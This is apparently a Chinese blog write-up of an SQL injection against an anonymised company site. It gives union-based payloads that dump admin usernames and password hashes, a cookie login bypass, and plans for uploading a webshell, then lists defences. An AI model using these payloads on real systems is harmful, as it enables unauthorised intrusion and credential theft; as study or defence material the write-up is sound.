记某公司一处SQL注入
简介
- SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
测试过程
1、目标站点
http://www.xxx.com.cn/tool.php?id=108
2、测试是否有注入点
and 1=1 (返回正常);
and 1=2 (返回错误)
- 说明存在注入
3、猜字段长度
order by 36 -- 正常;
order by 37 -- 不正常
4、联合查询猜报错位置
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 -- 发现在 4 10 位置报错
5、获取当前数据库
union select 1,2,3,version(),5,6,7,8,9,@@version_compile_os,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 --
6、获取当前数据库的所有表名
union select 1,2,3,4,5,6,7,8,9,group_concat(table_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.tables where table_schema=database() --
7、获取web_admin、web_admin_role表中的所有字段名
union select 1,2,3,4,5,6,7,8,9,group_concat(column_name),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from information_schema.columns where table_name=0x7765625f61646d696e --
8、获取admin_user和admin_pwd字段里的内容
union select 1,2,3,4,5,6,7,8,9,group_concat(admin_user,0x5e,admin_pwd),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 from web_admin --
脱坑
- 由于猜出来的密码是MD5加密的,但是无法破解,只能找到后台地址后,绕过登录密码。
9、后台路径查找方法:
(1)御剑、wwwscan、dirbuster、awvs、appscan扫描
(2)robots.txt遗留文件
(3)Google Hack
(4)BurpSuite扫描
(5)默认CMS管理后台
(6)端口站点,比如FOFA Pro view插件
(7)网站备份文件
(8)二级域名
10、登录绕过
Burpsuite抓包截获到发送到代理的客户端请求之后,右键单击
do intercept–>reseponse to this request,然后添加Cookie值,放行数据包,就可以绕过密码,登录到后台。
11、查看数据库权限
and ord(mid(user(),1,1))=114 返回正常说明为root。
数据库库路径
union select 1,2,3,4,5,6,7,8,9,@@datadir,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36 --
后渗透
思路:
1、查找图片上传位置,看看有没有文件上传漏洞,有就可以上马。一般有上传限制,可以结合文件上传绕过上传。
文件上传绕过点:
(1)前端Javascript校验
(2)黑名单校验
(3)Content-type校验
(4)文件头校验
2、找网站绝对路径,然后写一句话马,前提是最高管理员权限,写完记录上传的位置,访问测试写入是否成功,最后用菜刀或者蚁剑连接。
3、最后拿shell。
SQL注入防范
(1)将输入的单引号变成双引号。
(2)使用存储过程,将查询功能写在存储过程prcGetCustomer内。
(3)在输入表单内进行过滤,尽可能过滤掉可疑字符。
(4)在组织SQL语句中,将用户输入的字符串以参数的形式来包装。
(5)严格区分数据库访问权限。
(6)多层架构下的防御策略。
(7)对数据库的敏感信息以加密的方式来传输。
(8)对数据库查询出错的信息进行屏蔽。
(9)建立攻击者IP备案机制。
文件上传防范
(1)对上传文件做有效文件类型判断,采用白名单控制的方法,开放只允许上传的文件型式,其中文件类型判断应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型,同时注意重命名上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的。
(2)服务端读取文件的部分内容作判断,可防止攻击者伪装文件类型上传。
(3)权限方面:统一上传模块写入文件的位置并取消上传目录的程序运行
权限。
(4)使用第三方WEB防火墙来加固整个网站系统。
最后来听首歌放松一下